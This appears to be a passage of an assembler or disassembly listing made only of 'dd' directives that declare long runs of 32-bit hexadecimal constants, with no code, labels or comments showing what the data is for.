		dd 0E5A124C1h, 0BEBE8371h, 0D39E9172h, 2DC504h,	0C345E770h
		dd 810D3F87h, 0D8446566h, 8C7F53Fh, 0E23F5C8h, 480ED77Fh
		dd 24EDE346h, 4A7D21A1h, 0D7C7AD4Dh, 61A049E4h,	6083676Dh
		dd 0EDB52618h, 4404319Fh, 0B86DCC46h, 7BE83DE7h, 936CF8BCh
		dd 3915D20h, 0A5A13BD8h, 0AD8D8041h, 0D47DEC3Ch, 6C7F106h
		dd 837165AFh, 0E7FF8157h, 86CE59A7h, 0E3D70274h, 0AD106379h
		dd 0B035C7EFh, 80ADC505h, 0AD79A093h, 93C9ADAAh, 0E185612Eh
		dd 0A88D0644h, 0AD8DE071h, 41E5C7B3h, 0E2518FA0h, 0B45CB780h
		dd 0E7997172h, 9380E8CEh, 65A0F92Dh, 0F4E1C561h, 5D28B110h
		dd 54B2A0D7h, 0C66D20C7h, 51F336F6h, 0E88645AAh, 0E4E7766Dh
		dd 2DE58549h, 45E9F72Dh, 5DEDE846h, 0C65D6D53h,	0C78E2DCCh
		dd 82CD69A5h, 21121EADh, 7491AB61h, 79E4E738h, 0DCEDE2C6h
		dd 86D397F7h, 132F2DDEh, 91F13029h, 0A20DF16Dh,	0B4C3C545h
		dd 0F2B4E7E4h, 0A62D841Ah, 2861AA9Ch, 0D7073993h, 50B65DA9h
		dd 0F5C79BB8h, 0AD94E810h, 70DAF7FDh, 32DC985h,	0C579E82Dh
		dd 0E059E1D3h, 0E807556Bh, 288365F8h, 2DE04645h, 796B92A6h
		dd 0F4CCC886h, 617DA0D7h, 0E73B6DA8h, 0CE474925h, 63C70F6Dh
		dd 7CEAC465h, 0D471D70Fh, 0E374C607h, 0C557D3C7h, 0E7BA6DE5h
		dd 0D0846D2Eh, 71D726ADh, 74C607D0h, 51E2F765h,	356DAC0Eh
		dd 4649A7E7h, 0D705EDE1h, 0EF4575E3h, 63E7CABCh, 0CD90665h
		dd 7163F7C0h, 0E4B056EBh, 6ED498C7h, 0C716B28Ch, 0EFC46160h
		dd 0E1F754ADh, 37F40655h, 71A27190h, 29ADF306h,	0E16DAAC7h
		dd 0D74B7488h, 0EEC750F0h, 6DF7E6ADh, 2DD9C451h, 5DE5D71Fh
		dd 5AF4B535h, 0C559A5E7h, 0D74C6DE6h, 0DDC764F0h, 0A2F779EDh
		dd 0B1F5857Dh, 79E1E7DAh, 0B3EDE4C6h, 0C67DE0ADh, 0F762EDE1h
		dd 0D587CCB2h, 6B9131ADh, 0ADCD4441h, 61A5E7C1h, 53ED4463h
		dd 0C503ECB3h, 0B05B6DEDh, 0CD05B87Ah, 296133F1h, 86F4C569h
		dd 716BE7E7h, 8F3CD487h, 561A2ADh, 0D7AEADCFh, 0FB07B3C7h
		dd 0A49131ADh, 0ADFF4684h, 33C6B21Ah, 0DFED92BDh, 1D45EFF7h
		dd 0D7547CAAh, 0E746C4F0h, 85B21AADh, 0FBF085C4h, 6925D71Fh
		dd 1AED577Dh, 840084B2h, 0BE0CBBE2h, 0EC46C4B1h, 0B05D652Dh
		dd 0ADFCC5F4h, 407FF774h, 76B79A13h, 617C07D7h,	0E747ADBBh
		dd 0DDC57925h, 64E7E6EDh, 0EDE6047Dh, 0AC8CC7C7h, 0F6B3B9BFh
		dd 0C54564E7h, 0E705ADE5h, 0D7C5756Ah, 629195ADh, 0ADBA205Dh
		dd 7DA5E7B8h, 25ADE6C6h, 7F4DE5F7h, 0A106EDA2h,	0DBC538CEh
		dd 24A0CD2Dh, 0AD86E065h, 0DC4E9161h, 0AE36B6B4h, 5C0B789h
		dd 0D7ECADE3h, 0C98479E0h, 31D7DA37h, 84FC06C4h, 692AD70Bh
		dd 0BDAD9180h, 659E6D7h, 618BADF6h, 0D744596Bh,	6DA1C6ADh
		dd 0EDD8C475h, 69A1D7DAh, 0C52DDAC7h, 46D6070h,	0F7472DC9h
		dd 0C8C51478h, 0CAC77003h, 6DAF6308h, 41EDE7D7h, 0F8ADDA06h
		dd 0C5592BD7h, 0C7B06DD3h, 0AF617D2Ah, 2AD7BC6Dh, 2DACB979h
		dd 59AED726h, 292DA7ABh, 0C74DE8C7h, 0F79AADD0h, 0F54665E9h
		dd 0E8002DEDh, 0EDAE797Dh, 5D2AD795h, 3AEDC1C4h, 0A069E941h
		dd 0F7EDAD63h, 0D346C370h, 6383316Dh, 31C3C569h, 4520D7E3h
		dd 0F12D91B2h, 4F4F7C2h, 6C9EEDC0h, 2E1E6DE5h, 22D7DA70h
		dd 0EDE84649h, 612B4C9Eh, 303BD604h, 45926A1h, 0D71EFBC8h
		dd 0EFC5456Bh, 26C7F46Dh, 3B93FC7Dh, 45A52285h,	397AE705h
		dd 54521E7h, 0E76AEDE1h, 983E41A2h, 0A2A135ADh,	0B2E9C461h
		dd 7967D7F3h, 0E233F0C6h, 4559A2E7h, 0D7B3B2E9h, 0E6C64567h
		dd 0E5D79B6Dh, 0EDB9607Dh, 51E7C739h, 2E2D9D9Eh, 4716773h
		dd 0C7862DDDh, 0EFC549A1h, 6AE7F76Dh, 70DEC745h, 556AE7B6h
		dd 73ADADF8h, 847D67D7h, 0E725EDF9h, 0EF054969h, 6BD7382Dh
		dd 7AE7065Dh, 51ED9DB5h, 0E42DD144h, 617D21D7h,	0E7DBED9Eh
		dd 0CA44B8FCh, 0E76090FFh, 0ED9CF359h, 0E4B56052h, 0DAF11BD8h
		dd 844920D7h, 0F49BB4CAh, 0C08686F5h, 0EBF733C6h, 0AD83E355h
		dd 41A38CE1h, 0C46DE2C7h
		dd 0A069A5F7h, 119EC4B8h, 0D106DBFDh, 0A4E7ECADh, 6DA3416Dh
		dd 792DB36Ch, 0DFC83E7h, 1D45A081h, 0D797ED96h,	0C3C4601Dh
		dd 74C731F8h, 0AD95A278h, 2777D71Dh, 0E8BCDB44h, 0F67125ACh
		dd 0B13021E8h, 79B56966h, 0A102F611h, 0EDA3A161h, 712F8FE0h
		dd 0A709D546h, 744F3F7h, 0E73B6DFDh, 0D8474082h, 0A3B12CADh
		dd 0FCC307B4h, 8F769109h, 0BA6DAC6Dh, 46452BE7h, 0C7586DC3h
		dd 0A6BAC82Ah, 34F03130h, 0AD4D41F4h, 7DE5E7EAh, 64AD8FA1h
		dd 464480D7h, 0F718EDFEh, 0EAC54449h, 6DF733FCh, 2D9C8875h
		dd 0F774D75Dh, 4DB87D41h, 0C76874C7h, 0D71A2DEBh, 0F0C67D66h
		dd 33D7C177h, 2D95355Ch, 5807D7FFh, 1A2DCD04h, 224474C7h
		dd 0E73AAD91h, 0F604D4B9h, 0D473DE3Eh, 0F7BFAFC8h, 55EB61F0h
		dd 0D63FB028h, 5500DD7h, 0D02479D1h, 902F71ABh,	6DD71DADh
		dd 2DD50451h, 75AE61EDh, 732DA4E0h, 2D49AA83h, 0F7F8EDADh
		dd 0D0C751E8h, 6AC7F56Dh, 0ED814E69h, 0F874D7DDh, 0A9FEC84h
		dd 444C74C7h, 0F733EDC4h, 0C1046E41h, 0B7C0293Ch, 0EDFC4644h
		dd 372DD771h, 876DF804h, 0C7512B61h, 7D376DE8h,	0FDC749E0h
		dd 0C9F7DF2Dh, 6DAFDDA4h, 6D2AA112h, 0F52D8D03h, 94647EC7h
		dd 0D7337198h, 86E1B1A0h, 0B883E7ADh, 0B7B1E190h, 51A4E73Bh
		dd 252DA2A0h, 0A17129E7h, 0C7126D51h, 0EE852735h, 0B891E86Dh
		dd 0EDF5C4A8h, 6520F78Bh, 8C2D9601h, 46C44BC7h,	93E92DC2h
		dd 83FE7920h, 0F2E4D4B4h, 6D9A00C5h, 0F9329334h, 7EDB1C3h
		dd 5774E91h, 9FC02DC1h,	8701652Dh, 0CFD7C989h, 6D50435Ch
		dd 7001E7F1h, 74B68C23h, 0E04CC9F7h, 0F77E84AAh, 0F5C4FBC9h
		dd 6DE786EDh, 0F478E065h, 0FF76C7C5h, 0AE348AEFh, 3BC7FAC7h
		dd 0E7E2349Fh, 847E50F6h, 62C7DFB7h, 34A1814Dh,	5084E7C5h
		dd 9F77223h, 755AD31h, 6120B9D6h, 0E50749AAh, 7853E0EDh
		dd 0E7BF6908h, 0ECC7D7D9h, 6EE7C3C5h, 0C4F08065h, 0A1262DE1h
		dd 9BA261A4h, 0BBA1712Dh, 2DA1EC68h, 8C889178h,	59ADB5F5h
		dd 0C4BB25C7h, 8296BCFFh, 0D087692Dh, 2D39CB00h, 0BFA9B369h
		dd 6160F71Fh, 0F8ED850Bh, 6D7522C7h, 0C773BCB5h, 908B6470h
		dd 92C7CF6Dh, 6D856D7Ch, 6D6B53AFh, 0A5B6F144h,	4465A2F7h
		dd 21D67EC6h, 0D3464798h, 0DEB3632Dh, 46D24547h, 501EE758h
		dd 0DC2D8D80h, 4DCC693h, 2305EDDDh, 0A695C719h,	5FE7146Dh
		dd 2DD646C4h, 696B9363h, 0A20EFE45h, 0BC487E7h,	0E79887A9h
		dd 0A0ED64BBh, 0EDD76576h, 0EDF1C665h, 4D20C7DFh, 0C33D9A80h
		dd 0C56D2A20h, 0E76373ECh, 0A0C37C85h, 0BBE75691h, 0B2C98448h
		dd 5D6BE4BFh, 423CC107h, 60CCB561h, 7139A4D7h, 0CC205120h
		dd 0A1C70784h, 0BEF1C555h, 0B7B59107h, 0F1EDEE04h, 6E487C7h
		dd 0C705B8F0h, 0BBE15521h, 7DE715ADh, 0ADF5C5C4h, 7DE0A195h
		dd 12ADCD84h, 0F07163C7h, 0A1F4ADB5h, 0FD4451E7h, 25A0A28Bh
		dd 0F491D741h, 24AA40ACh, 744A7C2h, 0A37DA5C7h,	0E7E4B2A5h
		dd 0E2069BBAh, 1EF2D937h, 0EDA333C8h, 342A139Dh, 152DE6C5h
		dd 47C487C7h, 0E77C41DEh, 0E3C7C075h, 0E0D715EDh, 0EDFBC749h
		dd 7522810Eh, 77D0EBC5h, 6416691h, 0D7A0ADD7h, 0DEC575A2h
		dd 0A2C7D3EDh, 2DAD7269h, 492A91D3h, 0B32DE645h, 0C65964D7h
		dd 0C787F0FDh, 0E7C57521h, 0E2E287F4h, 0EDBC7669h, 0A077FC5Ch
		dd 26ADD786h, 0C63C37C7h, 0F7A7ADD7h, 0D1067DADh, 0F9F7A4ADh
		dd 31E7C4E4h, 206DF29Fh, 0E46D8E62h, 862EF743h,	0D764EDCEh
		dd 0E1847D64h, 6EE055EDh, 0ADDF4551h, 41A993CDh, 7FEFB04h
		dd 0B1B487E7h, 0AD8A415Bh, 90E1D4C5h, 0EAA347ADh, 31BE8171h
		dd 696BE7E1h, 0ABADF247h, 0C459E57Eh, 0D7E183E8h, 9515A868h
		dd 34F2C2ADh, 0EDF1C4F0h, 6DE4A1F6h, 0E3ADA361h, 6756BE7h
		dd 6303BED3h, 0E76F60FDh, 73F7E12Dh, 0B4F220E1h, 5160D755h
		dd 78F4D720h, 736095E7h, 0C7A22D4Dh, 0B6A37B8Ah, 6E23786Dh
		dd 44FAC77Dh, 38BDC729h, 0DED8963h, 0EC403F73h,	33EF359Dh
		dd 0CD866521h, 28E7F42Dh, 0ADC92965h, 69685CA9h, 0D9ADE8C7h
		dd 84D057F7h, 60F42DFDh, 0B9FC75EBh, 0A860F42Dh, 7491FC75h
		dd 752AE7B2h, 0F46D9DFCh, 0FC752E60h, 703733B1h, 0E50475A2h
		dd 2AD7D1F7h, 0F4D30465h, 45E1E707h, 0EF77E585h, 0C5456B6Ch
		dd 3F552DFBh, 0E74755ADh, 0E72277EDh, 6DBD6D65h, 0E8B1E731h
		dd 50ADFFC4h, 0AA6925ECh, 0F7192DA9h, 0C5855C01h, 0CD83102Dh
		dd 0AD53B58Bh, 1C0472C3h, 0DA6DAE1Ch, 0C7496EF7h, 41B7BCCAh
		dd 0F0C793CCh, 886CEF6Dh, 0ADEE46C4h, 49E96CA9h, 922DEFC7h
		dd 367D2860h, 0F7A42D4Dh, 0A0804928h, 39F7FC6Dh, 0B3E904B3h
		dd 6169E7B4h, 5A6DA6E2h, 87B0E3C7h, 0E7312DE5h,	0D2846561h
		dd 0C7505D76h, 0ED0A4DC9h, 752321CBh, 0F9F9A7CDh, 1C7D2B5Eh
		dd 2EE42D93h, 0AE7469E7h, 0C7627AEDh, 77EC07C4h, 8B423378h
		dd 32FCD506h, 7469EB60h, 0BD9A6D95h, 0A07C7D22h, 0C5E7D3ADh
		dd 0ADED86C4h, 45E4E7F8h, 63ADD0C4h, 2951AAC7h,	0F7F8EDA7h
		dd 0E3464525h, 2AC7926Dh, 0ADEB46C8h, 0E81A2277h, 123BC3C4h
		dd 84616B50h, 637D73E4h, 0F0441FC2h, 2001C13Bh,	36C9847Dh
		dd 0FD1BD7F1h, 0D633BAADh, 0C745E960h, 93A9EDF6h, 0D944B235h
		dd 6E63606Dh, 2D8C3D5Dh, 4492C70Ah, 71EDE146h, 0EDE01922h
		dd 0D76F2D8Dh, 0A9265D2Bh, 0AAC7DD33h, 6D617EBFh, 6892C78Dh
		dd 75B7D884h, 755A470h,	91CD6DF4h, 0B2A1652Ah, 0E0E7D0F7h
		dd 2D8D9C65h, 6968C741h, 0A6F48B5Bh, 0D9CCB4C7h, 62786D1Bh
		dd 4E1B30B9h, 0C72C0BADh, 0ADF546D4h, 0F712F70Ah, 0DB6DA0ACh
		dd 0B55AAF7h, 0F7E74A9Ah, 89ED2499h, 0E9D72B2Dh, 0EDD70475h
		dd 75A0F707h, 0B0EDDC86h, 469ABE7h, 6103EDCFh, 0E0C561ABh
		dd 74F7DCADh, 0EDE2047Ch, 49E9C707h, 202DE445h,	2B849A51h
		dd 0A67CCA4h, 8C9E716Bh, 92C7202Dh, 0ADA0D46Ch,	0F8F6E71Fh
		dd 0DFB32D7Dh, 1C7D2FD7h, 0D7BA6DA5h, 0C605616Bh, 0CEC74BB1h
		dd 2DEDC7B3h, 5563230Bh, 0AA7CEB06h, 0AD4DAE61h, 81B9B49Bh
		dd 0D04471A0h, 1EC7B3BCh, 0B0CC8634h, 0D81D421Eh, 0DF2DA9A2h
		dd 5B4967D7h, 61F00A91h, 3AC1C5F5h, 0A2C7DEB3h,	0B2D0854Dh
		dd 47F5637Ah, 0BDB494E0h, 8527A8F7h, 0D7387CCCh, 0F6846969h
		dd 368F44ADh, 0BCE046DCh, 55E5AD24h, 0A12D8EC1h, 0C2C9F6E7h
		dd 8391AD7Ah, 0D42368CEh, 3EC73FB1h, 0FC88A16Fh, 69A8F7B8h
		dd 0DDB08FAFh, 0A26D2BF7h, 0D78F7468h, 0DA46C372h, 0D8F79AEDh
		dd 2DAFCD48h, 6D6B7326h, 0E5C7F805h, 0E9647691h, 0F7672D8Dh
		dd 55ED4C70h, 4C53266Dh, 0AD3E4F63h, 679451CFh,	4E3FF4C7h
		dd 0C575A6B1h, 0A13E6DE4h, 0E1448E6Eh, 7DC7F3ADh, 6DC9C4F0h
		dd 4DAAC729h, 706D89E0h, 534C72E7h, 216AAD8Fh, 0AF0CE87Dh
		dd 0B54338ADh, 0F4D4C5C4h, 60B1F7C5h, 0B36DBE20h, 0EFCBB3E7h
		dd 0D1E6AD4Dh, 0F787CF33h, 6CA13F67h, 0F4E80651h, 6D6DB1B9h
		dd 0E934A58Fh, 0CE7BDD7h, 0C77031AFh, 0ACEEECC9h, 0A4B14E5Fh
		dd 0BFC14655h, 756B6316h, 0B12DA94Ch, 4E75E073h, 0E7E76DAFh
		dd 0F2C641ADh, 60D7F8ADh, 0EDF3C74Dh, 4D6AC7C5h, 0A1ADD145h
		dd 866166C7h, 515EB0F8h, 0C3047126h, 0E1E774EDh, 0AD506E71h
		dd 0F78BF7DFh, 5EDD804h, 4E552A21h, 0C761AD50h,	0DBC765A1h
		dd 0A711C2EDh, 2D99E349h, 6162E786h, 202DCEC5h,	468869E7h
		dd 7319EDC8h, 910E7925h, 549065ADh, 2DE2C7C8h, 6D6BD734h
		dd 561FD9C5h, 0C57D6BD7h
		dd 0E038B8FAh, 9F2E6494h, 66216D2Dh, 0EDEAC57Dh, 7DE9E7C0h
		dd 0FD6D66F7h, 0A8B82DC7h, 0E71430BAh, 0E045E8E5h, 0A9D73CADh
		dd 0EDE1C465h, 516FD787h, 0BC2DCAC6h, 65D6521h,	0E74B2DF9h
		dd 0A968716Ch, 0A0E778EDh, 0EDF5056Dh, 64CB7DF1h, 766DEE06h
		dd 0C6A06AD7h, 0D7DF2DE4h, 0F6C749E5h, 25E7862Dh, 2DE48641h
		dd 69E5D75Dh, 2A2DC5C7h, 0C64D66D7h, 0A0F5ADF2h, 0E60469E4h
		dd 7EE71AEDh, 0ADE5448Ch, 6169D707h, 0A22DCCC6h, 0C45DE5F7h
		dd 0D732EDF1h, 0DE064567h, 0E2C712EDh, 0F4FB0541h, 65A161C7h
		dd 7EDFD05h, 4645A8D7h,	0E7A76DCDh, 80D240B3h, 6DB33D6Dh
		dd 0F194E949h, 696BD72Ah, 9F4EA85h, 0EB796623h,	3C496DB4h
		dd 0EFC4A420h, 66D7F536h, 0ADD70649h, 74D7C79Fh, 0B648F0C5h
		dd 4D0D6F7h, 0D711F6CBh, 0E6866167h, 9EE716EDh,	0ADC146C7h
		dd 0DFD013CAh, 2DAD74AEh, 0FA412D70h, 0C7E7AD8Fh, 0A8776560h
		dd 6AE7B66Dh, 2DC44645h, 3C0FE7E7h, 7F7EE2C5h, 8B6D66E7h
		dd 8161ADBEh, 9D756DE2h, 67D733ADh, 0ADCD8645h,	59E0C7D3h
		dd 0DFF69760h, 944D26F7h, 0D7DBB4AFh, 0FEC584CAh, 27D228ADh
		dd 7E941549h, 84E4517Bh, 236D8335h, 44CCB2E2h, 3CBB5FDh
		dd 0A80B55A4h, 1C7727Bh, 2DC9C7EAh, 9C74D7F6h, 62EDED84h
		dd 84C0DFACh, 0E7B06DE8h, 0BE7049AEh, 29D707C9h, 2DF40679h
		dd 8C2ED72Dh, 10ED86EBh, 0C64D65D7h, 0D7D7EDE6h, 0E807F435h
		dd 0E5F7C66Dh, 6DC10445h, 71A8D77Fh, 242D84CBh,	85C09DD7h
		dd 0D795EDEEh, 0DDC679E5h, 0E8E72D76h, 2DEDC749h, 6D69D287h
		dd 0CBADA897h, 847D6DD7h, 0C7C073EAh, 0D2847D65h, 49C0EB6Dh
		dd 0EDA9EB98h, 6DA421CCh, 182D7497h, 0B765E8C7h, 0D79B6DAEh
		dd 0EE0645E7h, 0E5D710EDh, 6DD98471h, 49E4D04Ah, 0EDADD586h
		dd 0C749A7E7h, 31062DDFh, 0CAC661E4h, 65D7262Dh, 0EDE6064Dh
		dd 0E85EE79Bh, 93718A96h, 8659E7D7h, 0F711EDEEh, 0BBFE8028h
		dd 2DF7E4ADh, 0EDF68755h, 5129C75Eh, 472DE407h,	4649E931h
		dd 106EDEFh, 0B21651A4h, 0AA21142Dh, 2DDF4569h,	7968C707h
		dd 9371EA06h, 865965D7h, 0E7B2EDE6h, 0E1C751A9h, 2FD7E36Dh
		dd 0ADD9C559h, 456DD798h, 0A331C906h, 4665E9F7h, 0E727EDE2h
		dd 0DFC5696Ah, 0AA13142Dh, 0F0BC7751h, 0D4D381AFh, 0BAF8D206h
		dd 0B74169E7h, 0C76FED9Ch, 0E2C779A9h, 69FCCDADh, 798D72B4h
		dd 98EE21D2h, 0AAB0A571h, 0C68C6D80h, 0E716EDEEh, 0EFC6946Eh
		dd 2DF7D8F6h, 0EDEA0755h, 65A1C721h, 46DCD05h, 4679E9F0h
		dd 0C79F31CEh, 0B070902Bh, 0F7F7D371h, 0C09BB6B8h, 4D6A9034h
		dd 4A399DF0h, 0C56166C0h, 0F7746DF0h, 8F56792Ah, 0AB90E12Dh
		dd 3995B169h, 92EAD01Bh, 0F0746636h, 8604B570h,	0F7C56DFDh
		dd 86D15563h, 6BC0CC2Dh, 0C8B07779h, 0B534A0FCh, 0EF2DBD51h
		dd 0C475AA9Ch, 0A22E6DEEh, 8AF641EBh, 76E0D62Dh, 2D92292Ch
		dd 0C4D3C7D1h, 126DEE06h, 864DE7D7h, 0C715EDEEh, 0FC869430h
		dd 60D78979h, 76ABD44Dh, 6D25D71Fh, 27EDB477h, 0C56968F7h
		dd 0E71570C8h, 0BFA0B4BAh, 0ADD755F0h, 0B8B817B4h, 0C434C7DDh
		dd 4A79FC06h, 8455A8D7h, 33846DECh, 85B1656Bh, 6FB0212Dh
		dd 0EDC6C6A8h, 9BEE30F5h, 17EDEEC6h, 46B46EE7h,	0F76D79DBh
		dd 0CE8765E4h, 0AFEC94ADh, 71C24680h, 596DF201h, 0B030904Ah
		dd 0ECABB3D7h, 0E7DF4193h, 0D48728B2h, 72518EADh, 0B848D683h
		dd 516A21A9h, 182D9DBCh, 5075A0F7h, 0D047309Dh,	0BE3680C3h
		dd 0F2F7DE01h, 6DEB853Bh, 7D62F735h, 0BA76DD47h, 765D6B8Ch
		dd 0C04731B9h, 0F0C74168h, 4DE7D8ADh, 0F8BCF0ACh, 0CCDDB8C1h
		dd 0B2EDC686h, 0C7B447F7h, 0E7ADEDDDh, 0EC077565h, 86B22EADh
		dd 4A73F0h, 79E7D795h, 4B00D8C6h, 0C7347EC0h, 0F77DEDE6h
		dd 0D3855DA7h, 3580042Dh, 0F0D18588h, 6565D7A4h, 212D91D8h
		dd 0A0B40870h, 81AE2D99h, 0E2C6ABF1h, 3A72DB70h, 79FCC697h
		dd 65EED7F5h, 8DF0E4C4h, 0EB7965F2h, 0A8F2EDB2h, 0AD4A9B6Dh
		dd 81C0DA70h, 79DB4624h, 5D60C7B1h, 94EDC384h, 6B7525CCh
		dd 0C041EDB7h, 0F106D4B4h, 0FC9871h, 3E8AB18Ch,	79655063h
		dd 82B19B2Ah, 0C6796F42h, 0D79F6DD3h, 0E8461872h, 0E8D7D171h
		dd 2D84F110h, 0A83752BAh, 2D2DEEC5h, 0B6496AF7h, 1277170h
		dd 0F885B82Eh, 27D7E1ADh, 1C2867Dh, 882BE7A4h, 1401CA85h
		dd 96E85D03h, 0D7072DB4h, 79F3596Ah, 0AD60A539h, 0ADF68565h
		dd 6DA1E7E0h, 0E8B3C5C5h, 468C1480h, 0F7D1F2C4h, 0A429A028h
		dd 0D6BCD82Dh, 0BADF06CCh, 0A430C714h, 25B0D106h, 467DEDF7h
		dd 506A6DC4h, 0B7EB79A9h, 2580BAEDh, 0F3B8DA41h, 8C7D22C3h
		dd 5BF89B33h, 0C6B7FCC7h, 0A2B6F0F8h, 0F6064969h, 0A8D71C2Dh
		dd 31AC6BB4h, 8029E71Ch, 0FCEDE606h, 0C68C3FB0h, 0F7D779ECh
		dd 9F3D9F81h, 0ABC72740h, 2DC4C651h, 68DFC7ADh,	9F72EA46h
		dd 0C688DCC7h, 0A22270E2h, 0EAC698B7h, 52923D38h, 749451B4h
		dd 7D64C7C0h, 28EDE286h, 568455E7h, 0F71EF2BBh,	0ACB194D7h
		dd 1CE09973h, 33A3320Fh, 385FCE9Ah, 90EDE8C7h, 1BACF1C7h
		dd 0F75FB2A7h, 0BA3B8C91h, 6F92D879h, 0F087FEB4h, 387EA25Ah
		dd 9EEDA6DEh, 844DA4E7h, 625EADE0h, 86F6416Bh, 68A1652Dh
		dd 73D4C569h, 13FA81B3h, 7A8CB2BDh, 0B78C0383h,	0D79FEDA0h
		dd 0E04741EBh, 0EB705946h, 0B8B83E71h, 71698169h, 0F02D99EDh
		dd 0C6ECB90Eh, 0AD4B08D1h, 597D792Eh, 6AE7246Dh, 2DCA4769h
		dd 0DCF523A9h, 75326F99h, 17AF4D81h, 0C7D1B848h, 0E786002Eh
		dd 0A3D73EEDh, 49F7395Dh, 842F1C03h, 132D9EB6h,	0E94DABECh
		dd 0C7203CBDh, 0CFC4556Dh, 8FE786EDh, 0B4A07800h, 0C4F28165h
		dd 0E4EDD606h, 569E8B1h, 0A23731D5h, 0E705492Ch, 6AC7ABADh
		dd 2D9EEC61h, 45A5A1EDh, 41EDB9E0h, 5A86AB0h, 90AB2DFFh
		dd 0B10145E6h, 0EDB2EF2Dh, 0ADD4067Dh, 643DE704h, 1F74DF46h
		dd 8375A4F7h, 0C729FBB1h, 0EF0569E9h, 3F20683Ah, 0ADC445ECh
		dd 6D23F782h, 8ED7523h,	3D41E4A1h, 0D717C267h, 0A4ED55E6h
		dd 765D7E2Dh, 0EDE9C56Ch, 59ABF7EBh, 0FE2DA7B3h, 46E4B191h
		dd 0D755B4EFh, 0EE06F432h, 0B2E2CB77h, 2DCFC434h, 49AFE74Ah
		dd 9FB76330h, 38F041F7h, 5327F0BCh, 0F50569A8h,	50D7292Dh
		dd 0F0A37138h, 5D29D78Fh, 15ADEE86h, 46CC7E8Ch,	0B1F2B7C0h
		dd 0D686CCB0h, 0E6D7D3EDh, 0ADB8BD6Dh, 0B8CE50E3h, 0FDEDBAA1h
		dd 74961D7h, 433533C8h,	0E446D802h, 6A800177h, 0B8E40561h
		dd 0E3CB5063h, 0E36DB9FDh, 755E2E7h, 0C74A6DDAh, 0BA6CE843h
		dd 0D581754Fh, 378477CCh, 0D47F81ABh, 54EDFC87h, 874922C7h
		dd 0AD62EDCDh, 0BA617B4Eh, 6923222Dh, 717D6E69h, 796A81AAh
		dd 5F6DC445h, 0E0F072F7h, 41368F87h, 0E086A87Dh, 44F7D517h
		dd 6DA0DB34h, 612BD7E9h, 58BCA1E3h, 6C8865Fh, 519F07DBh
		dd 0B1B9EF89h, 0A5F7E16Dh, 6DED8551h, 604CD7E4h, 0D7FB86Fh
		dd 89509271h, 0A0527A9Fh, 0DC8561ACh, 0A8E7D1EDh, 0FFA7A86Dh
		dd 0F7454FCBh, 96B32CCEh, 8741AB71h, 0D75C2DFEh, 0C6AEC9C8h
		dd 0B209607h, 0ADD906C4h, 6D24D74Dh, 1207DF2Eh,	4EF49643h
		dd 71F331BAh, 0C9847DA3h, 3D30996Dh, 2D86E078h,	0F4F49177h
		dd 0B82DBA6Fh, 6CDC32B1h, 0C7F4417Dh, 0C34541E7h, 24D28DB4h
		dd 74DF850Ch, 0C87BCC04h, 0E1F6DFC5h, 87FB7AB3h, 0D76F2DDAh
		dd 75ED61E1h, 0F4D79FF0h, 0B23FCD8Ch, 0E4761D01h, 2D6D826Dh
		dd 4749ACE7h, 40A643C1h
		dd 8ABD656Bh, 86A06AFFh, 0FF97E0C8h, 65667FABh,	546DF647h
		dd 46C8C191h, 0F71C74DFh, 7C6AE483h, 0B6916F2Dh, 0ADB8CCDCh
		dd 69642309h, 33ADFCC6h, 8965A3F7h, 0CEA02D86h,	9C00C432h
		dd 76615DB9h, 0F680A058h, 5529E741h, 626DEAC5h,	0A127E69Dh
		dd 0C0E5F7A9h, 85EC9062h, 6403E7FEh, 2D8A2F59h,	608861B5h
		dd 0AF077994h, 6EE81193h, 71DE7749h, 0E18451E8h, 0E2D43F75h
		dd 0B7333489h, 5D211167h, 3E6DCD04h, 89856DF7h,	31A279B3h
		dd 0BCCA9A6Ch, 0ABC7DDEDh, 2DDB4555h, 0D3D6D40Ch, 0CBF4ABD1h
		dd 37D812EEh, 0F735EDB1h, 0F64769E5h, 0A9D0313Fh, 11F0F610h
		dd 6124132Dh, 0E7EDF447h, 744921C7h, 0D83BA1D6h, 0E7854449h
		dd 0E0D77A6Dh, 61EC0679h, 0AE6CF481h, 0A8EDBC0Ch, 54DEAC7h
		dd 72A76DD8h, 8E3569EBh, 8BE0682Dh, 0F9B9A1E8h,	0CB4FA126h
		dd 0B349E6Ah, 8679E8C7h, 7DA5EDCFh, 0F14680E0h,	0F22034B1h
		dd 0C9D8C6C8h, 0E49C93F2h, 116DB46Dh, 4649ADC7h, 0D7606DEEh
		dd 84AD6DE5h, 0A4F7DD34h, 0EDAEE045h, 75A183DFh, 25ADFAC5h
		dd 0C741E9F7h, 0C70730C7h, 0C0C545A1h, 7BC7E700h, 7FE1C594h
		dd 94BBD760h, 97ADFEC5h, 0C771E9D7h, 0E7782DF7h, 0E8847D27h
		dd 2AD7796Dh, 0EDE746DCh, 65EDD7B5h, 74EDE7C6h,	84656DC7h
		dd 0F7C72DDBh, 0EA0659E0h, 6DE71AF3h, 6DEF8561h, 0A0C4C7E1h
		dd 0A5F3EAC5h, 0C5ACC4C7h, 0D7E4F3EEh, 0E1C661EDh, 0A2F776EDh
		dd 0ADFB4661h, 7D69B05Ah, 27EDD704h, 847D6172h,	0D765F4C6h
		dd 0D7C749A0h, 25D7B52Dh, 0ADDD077Dh, 6DE6D71Ah, 0F96DEF86h
		dd 85A404C7h, 0A1B4FBC0h, 0A5AD7965h, 0C0A3F4BBh, 6DA63238h
		dd 41A5E754h, 0D2ADD0C4h, 7D5D20D7h, 70AAADB3h,	0D3067DADh
		dd 67D727ADh, 6DEFC645h, 0A4C7F7E0h, 2FADE585h,	5D5DAA50h
		dd 0E747ED41h, 0E14575A1h, 6DC731EDh, 6DEF8645h, 9406E71Bh
		dd 0AB2DB4E0h, 4664D462h, 0C77CEDF5h, 0E906E843h, 0EDD757B1h
		dd 0EDE64661h, 596FC719h, 15ADFE84h, 0C749A0F7h, 0F7B12DC9h
		dd 0CF847DE0h, 63C7A5ADh, 6DEEC565h, 980FE7D9h,	0E4ADD306h
		dd 447D6BE7h, 0F7E56DFDh, 0D6C59C0Fh, 0A0C758EDh, 0ADD00659h
		dd 69E9B0D8h, 712DF385h, 4645E0E7h, 0E7DAADE6h,	0BB32984Eh
		dd 0A5F738ADh, 2DDDC769h, 69A55049h, 1A2DEDC7h,	4471EDD7h
		dd 0A15033EFh, 0E4C74165h, 8FA09AEDh, 0EDA9A23Ch, 656160F4h
		dd 0BAF3993Dh, 47D65E7h, 0F770EDD8h, 0D9C665ADh, 0EE76FADh
		dd 2DEC05A8h, 656AF705h, 21ADD645h, 85E404E7h, 0E7EAB3E5h
		dd 0C2866966h, 0C060EF2Dh, 33C806B8h, 4522F7D5h, 0DF3BD446h
